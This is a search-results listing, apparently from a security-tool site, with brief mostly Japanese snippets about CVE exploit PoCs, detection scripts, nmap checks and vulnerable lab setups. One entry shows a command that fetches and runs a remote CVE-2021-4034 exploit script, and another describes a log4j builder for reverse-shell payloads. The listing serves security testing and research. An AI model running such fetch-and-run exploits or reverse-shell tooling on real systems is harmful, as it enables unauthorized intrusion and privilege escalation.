113358 matches found
-CVE-2019-9053
-CVE-2019-9053 CMS シンプルなCVEリコードスクリプト Python 3...
cve-2022-42889-text4shell
Mavenのインストール - maven-linux 1. Mavenをインストールしてfat jarを作成 root@kitploit: mvn clean install 2. Dockerビルド root@kitploit: docker build --tag=text4shell . 3. Docker実行 root@kitploit: docker run -p 80:8080 text4shell 4. アプリのテスト root@kitploit: http://localhost/text4shell/attack?search= 5...
w1f1t3kAl1
Wifite This repo is a complete re-write of wifite, a Python script for auditing wireless networks. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Wifite is designed to use all known methods for retrieving the password of a wireless access point...
heartbleed-test
root@kitploit: $ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...
cosmicsting-validator
A Cosmicsting POC で、全ホストサイトのパッチ適用を確認するためのbashスクリプトが付属しています。 このリポジトリは、ストアの所有者やホストがストアにパッチが適用されていることを確認できるように提供されています。check.bash 内の SITES リストにドメインを追加してください。 https://www.sdj.pw/posts/magento2-cosmic-sting-check/ オンラインバリデータ https://cosmicsting.samdjames.uk/ Setup root@kitploit: Create a python virtua...
log4j
log4j-detect 「Log4j」Javaライブラリの脆弱性（CVE-2021-44228）をURLリストに対してマルチスレッドで検出するシンプルなPython 3スクリプト このスクリプトは takito1812/log4j-detect をベースにしています By ExodataCyberdefense Python 3で開発されたスクリプト「log4j-detect.py」は、指定されたURLリストがCVE-2021-44228に対して脆弱かどうかを検出する役割を担います。...
Metabase_Nmap_Script
MetabaseNmapScript これはMetabaseの脆弱性（CVE-2021-41277）に対するnmapスクリプトです 使用方法 -- nmap -Pn -n -p443 --script metabase.nse -- PORT STATE SERVICE -- 443/tcp open https -- | metabase: -- | VULNERABLE: -- | Metabase CVE-2021-41277 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-41277 -- |...
GravCMS_Nmap_Script
GravCMSNmapScript GravCMSの脆弱性（CVE-2021-21425）を検出するためのnmapスクリプトです。 使用方法 -- nmap -p443 --script gravcms.nse -- PORT STATE SERVICE -- 443/tcp open https -- | gravcms: -- | VULNERABLE: -- | GravCMS CVE-2021-21425 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-21425 -- | GravCMS...
CVE-2026-24061
CVE-2026-24061 python3 exploit.py...
CVE-2025-49844-discovery
ElastiCache Redis/Valkey ネットワーク分析ツール AWS ElastiCache Redis および Valkey クラスターのネットワーク露出を監査するためのスクリプトです。 前提条件 適切な認証情報で設定された AWS CLI jq がインストールされていること: brew install jq スクリプト list-elasticache-clusters.sh 指定されたリージョンにわたるすべての Redis/Valkey クラスターを一覧表示します。 root@kitploit: ./list-elasticache-clusters.sh...
CVE-2021-44132
CVE-2021-44132 此脚本利用 C-DATA 专有路由器（如 BESTCOM）中 OMCISHELL 对象的漏洞。...
CVE-2021-32157
CVE-2021-32157 Dockerを使用して、脆弱性のあるWebmin仮想環境をコンテナとして構築できるようにします ビルド ダウンロード関連のエラーが発生した場合は、dockerfileの15行目をコメントアウトし、dockerfileの14行目を実行してください。 root@kitploit: docker build -t VulnWebmin . docker run --name VulnWebmin -d --rm -p 10000:10000 VulnWebmin ログイン root@kitploit: http://SERVERIP:10000 にアクセスしてくだ...
CVE-2021-42392-Detect
CVE-2021-42392-Detect 概要 このスクリプトは、指定されたIPリストに対して脆弱なH2サーバーを検出します。H2コンソールのWebページを識別し、アクセス制限の有無を確認できます。 使用方法 IPリストを含むファイルを作成し、ファイル名を「IP.txt」にします。「IP.txt」と「h2-detect.py」を同じディレクトリに配置し、スクリプトを実行します。 ここで「IP.txt」はスクリプトにハードコードされたデフォルトのファイル名ですが、スクリプトは任意のファイル名を入力引数として受け取ることもできます。...
CVE-2024-49113-Checker
CVE-2024-49113-Checker お使いの環境がCVE-2024-49113（LDAP Nightmare）に対して潜在的に脆弱かどうかをテストするスクリプトです。このスクリプトは以下を実行します： RPC接続チェック LDAPポートテスト Netlogonサービスの検証 LDAPコールバックの確認 root@kitploit: usage : python CVE-2024-49113-checker.py root@kitploit: Example Scan a single IP python CVE-2024-49113-checker.py 192.168.1.1...
log4j-exploit-builder
log4j-exploit-builder log4j（CVE-2021-44228）のエクスプロイトを作成するスクリプト。リバースシェルを取得するためのさまざまな方法に対応しています。 注: このコードは急いで作成されたものであり、今後改善される予定です。...
CVE-2021-4034
CVE-2021-4034 BashスクリプトにおけるCVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...
CVE-2026-33331
CVE-2026-33331 — oRPC OpenAPI Reference Plugin における格納型XSS orpc の OpenAPI ドキュメント生成における格納型XSSの概念実証ラボ 目的 oRPC は OpenAPI 仕様から API ドキュメントページを構築します。v1.13.9 より前のバージョンでは、JSON.stringify を使用して HTML エンコードなしで仕様を直接 タグに出力していました。攻撃者が制御できる info.description などのフィールドは、そのタグを早期に閉じてスクリプトを実行できました。...
CVE-2026-10289-XSS
ホテル・観光予約システム - 保存型クロスサイトスクリプティング（XSS） 脆弱性の詳細...
CVE-2026-21440-POC-EXP
CVE-2026-21440 完全な脆弱性情報 📁 CVE-2026-21440 PoC スクリプトを使用する簡単な手順 1、依存関係のインストール python -m pip install --upgrade pip 2、テストの実行 python CVE-2026-21440-code.py -h 3、6つのプリセット機密パスを内蔵（-s で直接呼び出し、長いパスを書く必要なし） 4、主要パラメータ早見表（表形式で分かりやすい）...